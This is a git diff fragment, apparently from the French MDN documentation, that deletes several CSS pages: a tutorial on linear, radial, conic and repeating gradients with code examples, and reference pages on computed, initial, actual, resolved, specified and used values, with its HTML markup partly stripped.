+ +
function updateUsedWidth(id) {
+  var div = document.querySelector(`#${id}`);
+  var par = div.querySelector('.show-used-width');
+  var wid = window.getComputedStyle(div)["width"];
+  par.textContent = `Used width: ${wid}.`;
+}
+
+function updateAllUsedWidths() {
+  updateUsedWidth("no-width");
+  updateUsedWidth("width-50");
+  updateUsedWidth("width-inherit");
+}
+
+updateAllUsedWidths();
+window.addEventListener('resize', updateAllUsedWidths);
+
+
+ +

Résultat

+ +

{{EmbedLiveSample('Exemples', '80%', '372px')}}

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName("CSS2.2", "cascade.html#used-value", "used value")}}{{Spec2("CSS2.2")}}
{{SpecName("CSS2.1", "cascade.html#used-value", "used value")}}{{Spec2("CSS2.1")}}Définition initiale.
+ +

Voir aussi

+ + diff --git "a/files/fr/web/css/utilisation_de_d\303\251grad\303\251s_css/index.html" "b/files/fr/web/css/utilisation_de_d\303\251grad\303\251s_css/index.html" deleted file mode 100644 index 94a0fbcb67..0000000000 --- "a/files/fr/web/css/utilisation_de_d\303\251grad\303\251s_css/index.html" +++ /dev/null @@ -1,747 +0,0 @@ ---- -title: Utilisation de dégradés CSS -slug: Web/CSS/Utilisation_de_dégradés_CSS -tags: - - Avancé - - CSS - - Guide -translation_of: Web/CSS/CSS_Images/Using_CSS_gradients ---- -
{{CSSRef}}
- -

Les dégradés CSS sont représentés par le type de donnée {{cssxref("<gradient>")}} qui est un sous-ensemble du type {{cssxref("<image>")}}. L'utilisation de dégradés CSS permet d'afficher des transitions douces entre deux couleurs ou plus. Il existe trois sortes de degradés : les dégradés linéaires (cf. {{cssxref("linear-gradient")}}, les dégradés radiaux (cf. {{cssxref("radial-gradient")}}) et les dégradés coniques (cf. {{cssxref("conic-gradient")}}).

- -

Les dégradés peuvent être répétés avec {{cssxref("repeating-linear-gradient")}}, {{cssxref("repeating-radial-gradient")}} et {{cssxref("repeating-conic-gradient")}}.

- -

Les dégradés peuvent être utilisés à chaque endroit où on peut utiliser une image (par exemple les arrière-plans). En évitant d'utiliser des images pour ces effets, le temps de téléchargement et la bande passante utilisée sont réduits. En outre, comme le dégradé est généré par le navigateur, les objets concernés se comporteront mieux en cas de zoom et votre mise en page peut être ajustée de manière plus flexible.

- -

Dans cet article, nous verrons d'abord les dégradés linéaires et détaillerons les fonctionnalités associées avant de passer aux dégradés radiaux, coniques et à leurs formes répétées.

- -

Dégradés linéaires

- -

Pour créer un dégradé linéaire, définissez un point de départ et une direction (sous la forme d'un angle) selon laquelle l'effet de dégradé sera appliqué.

- -

Dégradés linéaires simples

- -

Voici un dégradé linéaire qui commence au centre (horizontalement) et en haut (verticalement), du bleu vers le blanc.

- -

CSS

- -
.linear-gradient {
-  background: linear-gradient(blue, white);
-}
-
-div {
-  width: 120px;
-  height: 120px;
-}
- -

HTML

- -
<div class="linear-gradient"></div>
- -

Résultat

- -

{{EmbedLiveSample("Dégradés_linéaires_simples",120,120)}}

- -

Appliquer un dégradé de gauche à droite

- -

CSS

- -
.linear-gradient {
-  background: linear-gradient(to right, blue, white);
-}
-
-div {
-  width: 120px;
-  height: 120px;
-}
- -

HTML

- -
<div class="linear-gradient"></div>
-
- -

Résultat

- -

{{EmbedLiveSample("Appliquer_un_dégradé_de_gauche_à_droite",120,120)}}

- -

Appliquer un dégradé en diagonale

- -

CSS

- -
.linear-gradient {
-  background: linear-gradient(to bottom right, blue, white);
-}
-
-div {
-  width: 200px;
-  height: 100px;
-}
- -

HTML

- -
<div class="linear-gradient"></div>
-
- -

Résultat

- -

{{EmbedLiveSample("Appliquer_un_dégradé_en_diagonale",200,100)}}

- -

Utilisation d’angles

- -

Si aucun angle n'est spécifié, il sera déterminé automatiquement à partir de la position de départ. Si vous désirez un meilleur contrôle sur la direction du dégradé, vous pouvez définir cet angle précisément.

- -

CSS

- -
.linear-gradient {
-  background: linear-gradient(70deg, blue, pink);
-}
-
-div {
-  width: 120px;
-  height: 120px;
-}
- -

HTML

- -
<div class="linear-gradient"></div>
-
- -

Résultat

- -

{{EmbedLiveSample("Utilisation_d’angles",120,120)}}

- -

L'angle est spécifié entre une ligne verticale et la ligne de dégradé, dans le sens inverse des aiguilles d'une montre. Autrement dit, 0deg crée un dégradé vertical de bas en haut, tandis que 90deg génère un dégradé horizontal de la gauche vers la droite :

- -

linear_redangles.png

- -
background: linear-gradient(<angle>, red, white);
- -

Créer des effets et manipuler les couleurs

- -

Utiliser plus de deux couleurs

- -

Les dégradés CSS ne sont pas limités à deux couleurs, il est possible d'en utiliser autant que souhaité :

- -

CSS

- -
.linear-gradient {
-  background: linear-gradient(red, yellow, blue, orange);
-}
-
-div {
-  width: 120px;
-  height: 120px;
-}
- -

HTML

- -
<div class="linear-gradient"></div>
-
- -

Résultat

- -

{{EmbedLiveSample("Utiliser_plus_de_deux_couleurs",120,120)}}

- -

Arrêts de couleurs

- -

Les arrêts de couleurs sont des points sur la ligne de dégradé qui doivent avoir une couleur précise. Leur emplacement peut être spécifié sous la forme d'un pourcentage de la longueur de la ligne, ou d'une longueur absolue. Vous pouvez en spécifier autant que vous voulez pour obtenir l'effet désiré. Si vous spécifiez un pourcentage, 0% indique le point de départ, et 100% le point d'arrivée ; il est cependant possible d'utiliser des valeurs en dehors de cet intervalle si nécessaire pour obtenir l'effet désiré.

- -

CSS

- -
.linear-gradient {
-  background: linear-gradient(to left, lime, lime 28px, red 77%, cyan);
-}
-
-div {
-  width: 120px;
-  height: 120px;
-}
- -

HTML

- -
<div class="linear-gradient"></div>
-
- -

Résultat

- -

{{EmbedLiveSample("Arrêts_de_couleur",120,120)}}

- -

Notez que la première et la dernière couleur n'indiquent pas d'emplacement ; en conséquence les valeurs 0% et 100% sont assignées automatiquement. La couleur centrale indique un emplacement à 80%, ce qui la place proche du bas.

- -

Utiliser des indications de couleurs

- -

Par défaut, les dégradés passent linéairement d'une couleur à une autre. On peut également utiliser une indication afin de définir l'emplacement où la couleur médiane sera atteinte. Dans l'exemple qui suit, plutôt que d'attendre la moitié de la transition au milieu, on la place à 10% de l'axe.

- -

CSS

- -
div {
-  width:120px;
-  height: 120px;
-  float: left;
-  margin-right: 10px;
-}
-
-.color-hint {
-  background: linear-gradient(blue, 10%, pink);
-}
-
-.simple-linear {
-  background: linear-gradient(blue, pink);
-}
- -

HTML

- -
<div class="color-hint"></div>
-<div class="simple-linear"></div>
-
- -

Résultat

- -

{{EmbedLiveSample("Utiliser_des_indications_de_couleurs",120,120)}}

- -

Transparence et dégradés

- -

Les gradients gèrent la transparence. Vous pouvez l'utiliser, par exemple, en superposant plusieurs fonds pour créer des effets sur les images. Par exemple :

- -

CSS

- -
.linear-gradient {
-  background: linear-gradient(to right, transparent, mistyrose),
-    url("https://mdn.mozillademos.org/files/15525/critters.png");
-}
-
-div {
-  width: 300px;
-  height: 150px;
-}
- -

HTML

- -
<div class="linear-gradient"></div>
-
- -

Résultat

- -

{{EmbedLiveSample("Transparence_et_dégradés",300,150)}}

- -

Les fonds sont superposés avec le premier fond spécifié au dessus, et chaque fond supplémentaire par dessous.

- -

Créer des lignes franches

- -

Pour créer une ligne franche entre deux couleurs et avoir deux bandes plutôt qu'un dégradé progressif, on peut définir deux points d'arrêt de couleur au même endroit. Dans l'exemple suivant, on a deux couleurs pour un même emplacement de point d'arrêt situé à 50%:

- - - -
.striped {
-   background: linear-gradient(to bottom left, cyan 50%, palegoldenrod 50%);
-}
- -

{{EmbedLiveSample('Créer_des_lignes_franches', 120, 120)}}

- -

Créer des bandes de couleur

- -

Pour inclure une bande d'une couleur donnée, sans transition au sein du dégradé, on utilisera deux points d'arrêt successif avec la même couleur. Ainsi, la couleur sera atteinte au premier point d'arrêt puis sera conservée jusqu'au suivant.

- - - -
.multiposition-stops {
-   background: linear-gradient(to left,
-       lime 20%, red 30%, red 45%, cyan 55%, cyan 70%, yellow 80% );
-   background: linear-gradient(to left,
-       lime 20%, red 30% 45%, cyan 55% 70%, yellow 80% );
-}
-.multiposition-stop2 {
-   background: linear-gradient(to left,
-      lime 25%, red 25%, red 50%, cyan 50%, cyan 75%, yellow 75% );
-   background: linear-gradient(to left,
-      lime 25%, red 25% 50%, cyan 50% 75%, yellow 75% );
-}
-
- -

{{EmbedLiveSample('Créer_des_bandes_de_couleur', 120, 120)}}

- -

Dans le premier exemple ci-avant, le bleu vert commence au début puis progresse jusqu'à 20% avant de transitionner vers le rouge pendant les 10% qui suivent. Le rouge reste vif entre 30% et 45% avant de transitionner vers un cyan pendant 15% etc.

- -

Dans le deuxième exemple, le deuxième point d'arrêt pour chaque couleur est situé au même emplacement que le premier point d'arrêt pour la couleur suivante et on obtient donc des bandes successives.

- -

Contrôler la progression du dégradé

- -

Par défaut, un dégradé progresse linéairement entre les deux couleurs et la couleur médiane est atteinte à la moitié du parcours. Toutefois, si on veut atteindre cette couleur médiane plus tôt ou plus tard, on peut fournir une indication permettant de définir l'emplacement du milieu de la transition. Dans l'exemple qui suit, la couleur est à la moitié de la transition entre le vert et le cyan à 20% du dégradé (et non à 50%). Le deuxième exemple ne contient pas de telle indication et la transition s'effectue linéairement. Vous pouvez ainsi observer l'impact d'une telle indication.

- - - -
.colorhint-gradient {
-  background: linear-gradient(to top, black, 20%, cyan);
-}
-.regular-progression {
-  background: linear-gradient(to top, black, cyan);
-}
-
- -

{{EmbedLiveSample("Contrôler_la_progression_du_dégradé", 120, 120)}}

- -

Empilement de dégradés

- -

Il est possible d' « empiler » différents dégradés. Il suffit que les dégradés sur les couches supérieures ne soient pas complètement opaques pour qu'on puisse voir ceux des couches inférieures.

- -

CSS

- -
.linear-gradient {
-  background:
-    linear-gradient(217deg, rgba(255,0,0,.8), rgba(255,0,0,0) 70.71%),
-    linear-gradient(127deg, rgba(0,255,0,.8), rgba(0,255,0,0) 70.71%),
-    linear-gradient(336deg, rgba(0,0,255,.8), rgba(0,0,255,0) 70.71%);
-}
-
-div {
-  width: 100px;
-  height: 100px;
-}
- -

HTML

- -
<div class="linear-gradient"></div>
-
- -

Résultat

- -

{{EmbedLiveSample("Empilement_de_dégradés")}}

- -

Dégradés radiaux

- -

Les dégradés radiaux sont similaire aux dégradés linéaires mais permettent d'obtenir un effet qui rayonne à partir d'un point. Il est possible de créer des dégradés circulaires ou elliptiques.

- -

Un dégradé radial simple

- -
-

Note : Dans les exemples suivants, nous continuons d'utiliser le même {{HTMLElement("div")}} et, pour ne pas surcharger la lecture, n'afficherons plus que la règle CSS spécifique au dégradé.

-
- -

De la même façon qu'avec les dégradés linéaires, il suffit de deux couleurs pour créer un dégradé radial.

- - - -
.simple-radial {
-  background: radial-gradient(red, blue);
-}
-
- -

{{EmbedLiveSample('Un_dégradé_radial_simple', 120, 120)}}

- -

Positionner les points d’arrêt

- -

À nouveau, comme pour les dégradés linéaires, il est possible de placer des arrêts de couleur en précisant un pourcentage ou une distance.

- - - -
.radial-gradient {
-  background: radial-gradient(red 10px, yellow 30%, #1e90ff 50%);
-}
-
- -

{{EmbedLiveSample("Positionner_les_points_d’arrêt", 120, 120)}}

- -

Positionner le centre du dégradé

- -

La position du centre du dégradé peut être définie avec des mots-clés, des pourcetages ou des longueurs. Deux valeurs permettent de placer le centre sur les deux axes. Si une seule valeur est fournie, elle sera utilisée pour les deux axes.

- - - -
.radial-gradient {
-  background: radial-gradient(at 0% 30%, red 10px, yellow 30%, #1e90ff 50%);
-}
-
- -

{{EmbedLiveSample('Utiliser_closest-side_pour_les_ellipses', 240, 100)}}

- -

Dimensionner les dégradés radiaux

- -

À la différence des dégradés linéaires, il est possible de définir la taille d'un dégradé radial.

- -

Utiliser closest-side pour les ellipses

- -

Dans l'exemple qui suit, on utilise la valeur closest-side pour la taille. Cela signifie que la taille du dégradé sera définie par la distance entre le point central de départ et le côté le plus proche de la boîte englobante.

- - - -
.radial-ellipse-side {
-  background: radial-gradient(ellipse closest-side,
-      red, yellow 10%, #1e90ff 50%, beige);
-}
-
- -

{{EmbedLiveSample('Utiliser_closest-side_pour_les_ellipses', 240, 100)}}

- -

Utiliser farthest-corner pour les ellipses

- -

Cet exemple ressemble fortement au précédent mais on utilise ici farthest-corner qui crée un dégradé dont la distance est celle entre le point de départ central et le côté le plus éloigné de la boîte englobante.

- - - -
.radial-ellipse-far {
-  background: radial-gradient(ellipse farthest-corner,
-      red, yellow 10%, #1e90ff 50%, beige);
-}
-
- -

{{EmbedLiveSample('Utiliser_farthest-corner_pour_les_ellipses', 240, 100)}}

- -

Utiliser closest-side pour les cercles

- -

Pour cet exemple, on utilise closest-side qui permet de créer un cercle dont le rayon est la distance entre le point de départ central et le côté le plus proche de la boîte englobante. Ici, le rayon du cercle est donc la moitié de la hauteur de la boîte car les bords haut et bas sont équidistants du point de départ et plus proches que les côtés gauche et droit.

- - - -
.radial-circle-close {
-  background: radial-gradient(circle closest-side,
-      red, yellow 10%, #1e90ff 50%, beige);
-}
-
- -

{{EmbedLiveSample('Utiliser_closest-side_pour_les_cercles', 240, 120)}}

- -

Empiler des dégradés radiaux

- -

À l'instar des dégradés linéaires, on peut empiler des dégradés radiaux. Le premier dégradé indiqué sera celui sur la couche la plus haute et le dernier sera celui sur la couche la plus basse.

- - - -
.stacked-radial {
-  background:
-      radial-gradient(circle at 50% 0,
-        rgba(255,0,0,.5),
-        rgba(255,0,0,0) 70.71%),
-      radial-gradient(circle at 6.7% 75%,
-        rgba(0,0,255,.5),
-        rgba(0,0,255,0) 70.71%),
-      radial-gradient(circle at 93.3% 75%,
-        rgba(0,255,0,.5),
-        rgba(0,255,0,0) 70.71%) beige;
-  border-radius: 50%;
-}
-
- -

{{EmbedLiveSample('Empiler_des_dégradés_radiaux', 200, 200)}}

- -

Dégradés coniques

- -

La fonction conic-gradient() permet de créer une image composée d'un dégradé de couleurs tournant autour d'un point (plutôt qu'une progression radiale). On pourra ainsi utiliser des dégradés coniques pour créer des camemberts ou des éventails de couleurs.

- -

La syntaxe de conic-gradient() est semblable à celle de radial-gradient() mais les arrêts de couleur seront placés le long d'un arc plutôt que le long de la ligne émise depuis le centre. Les arrêts de couleur seront exprimés en pourcentages ou en degrés, ils ne pourront pas être exprimés sous forme de longueurs absolues.

- -

Pour un dégradé radial, la transition entre les couleurs forme une ellipse qui progresse vers l'extérieur dans toutes les directions. Un dégradé conique verra la transition progresser le long de l'arc autour du cercle, dans le sens horaire. À l'instar des dégradés radiaux, il est possible de positionner le centre du dégradé et à l'instar des dégradés linéaires, on peut modifier l'angle du dégradé.

- -
-

Un dégradé conique simple

- -

Comme pour les dégradés linéaires et radiaux, il suffit de deux couleurs pour créer un dégradé conique. Par défaut, le centre du dégradé sera situé au centre (point 50% 50%) et le début du dégradé commencera vers le haut :

- - - -
.simple-conic {
-  background: conic-gradient(red, blue);
-}
-
- -

{{EmbedLiveSample('Un_dégradé_conique_simple', 120, 120)}}

-
- -
-

Positionner le centre

- -

À l'instar des dégradés radiaux, on peut placer le centre d'un dégradé conique à l'aide de mots-clés, de valeurs (longueurs ou pourcentages) avec le mot-clé at.

- - - -
.conic-gradient {
-  background: conic-gradient(at 0% 30%, red 10%, yellow 30%, #1e90ff 50%);
-}
-
- -

{{EmbedLiveSample('Positionner_le_centre', 120, 120)}}

-
- -
-

Modifier l’angle

- - - -
.conic-gradient {
-  background: conic-gradient(from 45deg, red, orange, yellow, green, blue, purple);
-}
-
- -

{{EmbedLiveSample("Modifier_l’angle", 120, 120)}}

-
- -

Répéter des dégradés

- -

Les propriétés {{cssxref("linear-gradient")}}, {{cssxref("radial-gradient")}} et {{cssxref("conic-gradient")}} ne permettent pas automatiquement de répéter les arrêts de couleur. Toutefois, les fonctions {{cssxref("repeating-linear-gradient")}}, {{cssxref("repeating-radial-gradient")}} et {{cssxref("repeating-conic-gradient")}} offrent cette fonctionnalité.

- -

La taille de la portion (ligne ou arc) répétée est donnée par la longueur (ou l'arc) entre le premier arrêt de couleur et le dernier arrêt de couleur. Si on n'indique pas de coordonnées pour le premier et le dernier arrêts, ceux-ci prendront respectivement 0 et 100%. Aussi, le motif unitaire couvrira l'ensemble du dégradé et il n'y aura pas de répétition. Il faut donc indiquer au moins un des deux arrêts (entre le premier et le dernier) pour créer une répétition.

- -

Répéter un dégradé linéaire

- -

Dans cet exemple, on utilise la fonction {{cssxref("repeating-linear-gradient")}} afin de créer un dégradé linéaire qui se répète le long d'une ligne. Les couleurs forment un cycle lorsque le motif se répète.

- - - -
.repeating-linear {
-  background: repeating-linear-gradient(-45deg, red, red 5px, blue 5px, blue 10px);
-}
-
- -

{{EmbedLiveSample('Répéter_un_dégradé_linéaire', 120, 120)}}

- -

Répéter plusieurs dégradés linéaires

- - - -
.multi-repeating-linear {
-  background:
-      repeating-linear-gradient(190deg, rgba(255, 0, 0, 0.5) 40px,
-        rgba(255, 153, 0, 0.5) 80px, rgba(255, 255, 0, 0.5) 120px,
-        rgba(0, 255, 0, 0.5) 160px, rgba(0, 0, 255, 0.5) 200px,
-        rgba(75, 0, 130, 0.5) 240px, rgba(238, 130, 238, 0.5) 280px,
-        rgba(255, 0, 0, 0.5) 300px),
-      repeating-linear-gradient(-190deg, rgba(255, 0, 0, 0.5) 30px,
-        rgba(255, 153, 0, 0.5) 60px, rgba(255, 255, 0, 0.5) 90px,
-        rgba(0, 255, 0, 0.5) 120px, rgba(0, 0, 255, 0.5) 150px,
-        rgba(75, 0, 130, 0.5) 180px, rgba(238, 130, 238, 0.5) 210px,
-        rgba(255, 0, 0, 0.5) 230px),
-      repeating-linear-gradient(23deg, red 50px, orange 100px,
-        yellow 150px, green 200px, blue 250px,
-        indigo 300px, violet 350px, red 370px);
-}
-
- -

{{EmbedLiveSample('Répéter_plusieurs_dégradés_linéaires', 600, 400)}}

- -

Créer un tartan

- - - -
.plaid-gradient {
-  background:
-      repeating-linear-gradient(90deg, transparent, transparent 50px,
-        rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
-        transparent 56px, transparent 63px,
-        rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
-        transparent 69px, transparent 116px,
-        rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
-      repeating-linear-gradient(0deg, transparent, transparent 50px,
-        rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
-        transparent 56px, transparent 63px,
-        rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
-        transparent 69px, transparent 116px,
-        rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
-      repeating-linear-gradient(-45deg, transparent, transparent 5px,
-        rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px),
-      repeating-linear-gradient(45deg, transparent, transparent 5px,
-        rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px);
-}
-
- -

{{EmbedLiveSample('Créer_un_tartan', 200, 200)}}

- -

Répéter des dégradés radiaux

- -

Ici, on utilise la fonction {{cssxref("repeating-radial-gradient")}} afin de créer un dégradé radial qui se répète. Les couleurs utilisées forment un cycle lorsque le motif unitaire recommence.

- - - -
.repeating-radial {
-  background: repeating-radial-gradient(black, black 5px, white 5px, white 10px);
-}
-
- -

{{EmbedLiveSample('Répéter_des_dégradés_radiaux', 120, 120)}}

- -

Répéter plusieurs dégradés radiaux

- - - -
.multi-target {
-  background:
-      repeating-radial-gradient(ellipse at 80% 50%,rgba(0,0,0,0.5),
-        rgba(0,0,0,0.5) 15px, rgba(255,255,255,0.5) 15px,
-        rgba(255,255,255,0.5) 30px) top left no-repeat,
-      repeating-radial-gradient(ellipse at 20% 50%,rgba(0,0,0,0.5),
-        rgba(0,0,0,0.5) 10px, rgba(255,255,255,0.5) 10px,
-        rgba(255,255,255,0.5) 20px) top left no-repeat yellow;
-  background-size: 200px 200px, 150px 150px;
-}
-
- -

{{EmbedLiveSample('Répéter_plusieurs_dégradés_radiaux', 250, 150)}}

- -

Voir aussi

- -
    -
  • Les fonctions de manipulation des dégradés -
      -
    • {{cssxref("linear-gradient")}}, {{cssxref("radial-gradient")}}, {{cssxref("conic-gradient")}}, {{cssxref("repeating-linear-gradient")}}, {{cssxref("repeating-radial-gradient")}}, {{cssxref("repeating-conic-gradient")}}
      • -
    -
    • -
  • Les types de donnée CSS relatifs aux dégradés -
      -
    • {{cssxref("<gradient>")}}, {{cssxref("<image>")}}
      • -
    -
    • -
  • Certaines propriétés CSS qui permettent d'utiliser des dégradés -
      -
    • {{cssxref("background")}}, {{cssxref("background-image")}}
      • -
    -
    • -
  • Une bibliothèque de motifs de dégradés CSS, créée par Lea Verou
    • -
  • Un générateur de dégradé CSS
    • -
diff --git "a/files/fr/web/css/valeur_calcul\303\251e/index.html" "b/files/fr/web/css/valeur_calcul\303\251e/index.html" deleted file mode 100644 index 356a3f75ba..0000000000 --- "a/files/fr/web/css/valeur_calcul\303\251e/index.html" +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: Valeur calculée -slug: Web/CSS/Valeur_calculée -tags: - - CSS - - Reference -translation_of: Web/CSS/computed_value ---- -
{{CSSRef}}
- -

La valeur calculée d'une propriété CSS est calculée à partir de la valeur définie :

- -
    -
  1. En gérant les valeurs spéciales {{cssxref("inherit")}}, {{cssxref("initial")}}, {{cssxref("unset")}} et {{cssxref("revert")}}.
    2. -
  2. En effectuant les calculs décrits dans la section « Valeur calculée » de chaque résumé de propriété.
    3. -
- -

Les calculs utilisés pour obtenir la valeur calculée correspondent généralement à la conversion des valeurs relatives (exprimées dans des unités relatives comme em ou en pourcentages) en valeur absolue. Ainsi, si un élément possède les valeurs spécifiées suivantes font-size: 16px et padding-top: 2em. La valeur calculée de la propriété padding-top sera 32px (on double la taille de la police).

- -

Cependant, pour certaines propriétés (celles où les pourcentages sont relatifs à quelque chose lié à la disposition comme width, margin-right, text-indent, et top), les valeurs spécifiées exprimées en pourcentages deviennent des valeurs calculées exprimées en pourcentages. De plus, les nombres sans unité utilisés pour la propriété line-height sont également utilisés comme valeurs calculées. Ces valeurs relatives sont résolues en valeurs absolues lorsqu'on détermine les valeurs utilisées.

- -

Le principal intérêt de la valeur calculée (en dehors de la gestion du passage de la valeur spécifiée à la valeur utilisée) est l'héritage, notamment grâce au mot-clé {{cssxref("inherit")}}.

- -
-

Note : La méthode du DOM {{domxref("Window.getComputedStyle", "getComputedStyle()")}} renvoie la valeur résolue qui correspond à la valeur calculée ou à la valeur utilisée selon la propriété.

-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName("CSS2.2", "cascade.html#computed-value", "computed-value")}}{{Spec2("CSS2.2")}}
{{SpecName("CSS2.1", "cascade.html#computed-value", "computed value")}}{{Spec2("CSS2.1")}}Définition initiale.
- -

Voir aussi

- - diff --git a/files/fr/web/css/valeur_initiale/index.html b/files/fr/web/css/valeur_initiale/index.html deleted file mode 100644 index eedda54344..0000000000 --- a/files/fr/web/css/valeur_initiale/index.html +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Valeur initiale -slug: Web/CSS/Valeur_initiale -tags: - - CSS - - Reference -translation_of: Web/CSS/initial_value ---- -
{{CSSRef}}
- -

La valeur initiale d'une propriété CSS est définie par la spécification et varie selon qu'une propriété est héritée ou non.

- - - -

Le mot-clé {{cssxref("initial")}} a été ajouté en CSS3 afin de permettre aux auteurs d'utiliser cette valeur de façon explicite.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
CSS Cascade 4 Définition formelle.
{{SpecName("CSS2.1", "cascade.html#specified-value", "initial value")}}{{Spec2("CSS2.1")}}Définition implicite.
- -

Voir aussi

- - diff --git a/files/fr/web/css/valeur_reelle/index.html b/files/fr/web/css/valeur_reelle/index.html deleted file mode 100644 index 4a4d768379..0000000000 --- a/files/fr/web/css/valeur_reelle/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Valeur réelle -slug: Web/CSS/valeur_reelle -tags: - - CSS - - Guide - - Reference -translation_of: Web/CSS/actual_value ---- -
{{CSSRef}}
- -

La valeur réelle d'une propriété CSS est la valeur utilisée par le moteur une fois que toutes les approximations ont été appliquées. Ainsi, un agent utillisateur ne pourra afficher des bordures qu'avec un nombre de pixels entier et pourra ainsi être forcé d'approximer la valeur calculée pour l'épaisseur de la bordure.

- -

Calculer la valeur réelle d'une propriété

- -

La valeur réelle est la valeur finale obtenue lors de la détermination d'une propriété, qui passe par les étapes suivantes :

- -
    -
  1. La valeur initiale (indiquée par la spécification).
    2. -
  2. La valeur définie qui résulte de l'héritage et de la cascade.
    3. -
  3. La valeur calculée est calculée selon la spécification.
    4. -
  4. La disposition est calculée, fournissant ainsi la valeur utilisée.
    5. -
  5. La valeur réelle
    6. -
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSS2.1', 'cascade.html#actual-value', 'actual value')}}{{Spec2('CSS2.1')}}Définition initiale.
- -

Voir aussi

- - diff --git "a/files/fr/web/css/valeur_r\303\251solue/index.html" "b/files/fr/web/css/valeur_r\303\251solue/index.html" deleted file mode 100644 index 8ce7a5b45a..0000000000 --- "a/files/fr/web/css/valeur_r\303\251solue/index.html" +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: Valeur résolue -slug: Web/CSS/valeur_résolue -tags: - - CSS - - Reference -translation_of: Web/CSS/resolved_value ---- -
{{cssref}}
- -

La valeur résolue d'une propriété CSS est la valeur renvoyée par {{domxref("Window.getComputedStyle", "getComputedStyle()")}}. Pour la plupart des propriétés, il s'agit de la valeur calculée mais pour un tout petit nombre d'anciennes propriétés (dont {{cssxref("width")}} et {{cssxref("height")}}), il s'agit par contre de la valeur utilisée. Voir le lien vers la spécification ci-dessous pour des détails plus précis en fonction de chaque propriété.

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName("CSSOM", "#resolved-values", "resolved value")}}{{Spec2("CSSOM")}}Définition initiale
- -

Voir aussi

- - diff --git "a/files/fr/web/css/valeur_sp\303\251cifi\303\251e/index.html" "b/files/fr/web/css/valeur_sp\303\251cifi\303\251e/index.html" deleted file mode 100644 index 14eb3d9e5a..0000000000 --- "a/files/fr/web/css/valeur_sp\303\251cifi\303\251e/index.html" +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: Valeur spécifiée -slug: Web/CSS/Valeur_spécifiée -tags: - - CSS - - Cascade - - Reference -translation_of: Web/CSS/specified_value ---- -
{{CSSRef}}
- -

La valeur définie d'une propriété CSS est celle explicitement définie dans la feuille de style ou grâce au style de son élément parent. Elle est déterminée selon une des trois méthodes suivantes :

- -
    -
  1. Si la feuille de style du document a une valeur définie pour la propriété, alors c'est cette valeur qui est utilisée. Par exemple, si la propriété {{cssxref("color")}} est définie à green alors la couleur du texte des éléments correspondants sera verte.
    2. -
  2. Si la feuille de style du document n'a pas de valeur définie, alors, si c'est possible, elle sera héritée de l'élément parent. Par exemple, si on a un paragraphe ({{HTMLElement("p")}}) dans un {{HTMLElement("div")}} et que le {{HTMLElement("div")}} est ciblée par une déclaration CSS où font vaut Arial et qu'il n'y a pas de règle font pour {{HTMLElement("p")}}, ce dernier héritera de la police Arial.
    3. -
  3. Si aucun des cas précédents ne s'applique, c'est la valeur initiale de la propriété CSS qui est appliquée.
    4. -
- -

Exemples

- -

HTML

- -
<p>Ma couleur provient explicitement de la feuille de style CSS.</p>
-
-<div>Les valeurs définies de mes propriétés utilisent
-    les valeurs initiales (par défaut) car aucune n'est fournie
-    dans la feuille de style CSS.</div>
-
-<div class="fun">
-  <p>La valeur définie pour ma police n'est pas fournie explicitement
-     dans la feuille de style et est donc héritée de mon parent.
-     Toutefois, la bordure n'est pas une propriété héritée.</p>
-</div>
- -

CSS

- -
.fun {
-  border: 1px dotted pink;
-  font-family: fantasy;
-}
-
-p {
-  color: green;
-}
-
- -

Résultat

- -

{{EmbedLiveSample("Exemples", 500, 220)}}

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName("CSS2.2", "cascade.html#specified-value", "cascaded value")}}{{Spec2("CSS2.2")}}
{{SpecName("CSS2.1", "cascade.html#specified-value", "cascaded value")}}{{Spec2("CSS2.1")}}Définition initiale.
- -

Voir aussi

- - diff --git "a/files/fr/web/css/valeur_utilis\303\251e/index.html" "b/files/fr/web/css/valeur_utilis\303\251e/index.html" deleted file mode 100644 index df94445fd7..0000000000 --- "a/files/fr/web/css/valeur_utilis\303\251e/index.html" +++ /dev/null @@ -1,144 +0,0 @@ ---- -title: Valeur utilisée -slug: Web/CSS/Valeur_utilisée -tags: - - CSS - - Guide - - Reference - - Web -translation_of: Web/CSS/used_value ---- -
{{cssref}}
- -

La valeur utilisée de n'importe quelle propriété CSS est la valeur finale d'une propriété après que tous les calculs aient été réalisés.

- -

Une fois qu'un agent utilisateur a terminé les calculs, chaque propriété CSS possède une valeur utilisée. Les valeurs utilisées des dimensions (par exemple width, height) sont exprimées en pixels et les propriétés raccourcies (comme background) sont cohérentes avec leurs propriétés composantes (par exemple background-color), display est cohérente avec position et float.

- -

Les valeurs utilisées pour certaines propriétés peuvent être retrouvées en appelant la méthode JavaScript window.getComputedStyle().

- -

Détails

- -

Quatre étapes permettent de déterminer la valeur finale de n'importe quelle propriété CSS.

- -
    -
  1. Tout d'abord, la valeur spécifiée est le résultat de la cascade (on choisit la règle la plus spécifique qui change la propriété), de l'héritage (on utilise la valeur calculée d'un parent si la propriété peut être héritée) ou alors c'est la valeur par défaut est utilisée.
    2. -
  2. Ensuite, la valeur calculée est déterminée selon la spécification (par exemple, un span avec position: absolute aura display qui passera à block pour la valeur calculée).
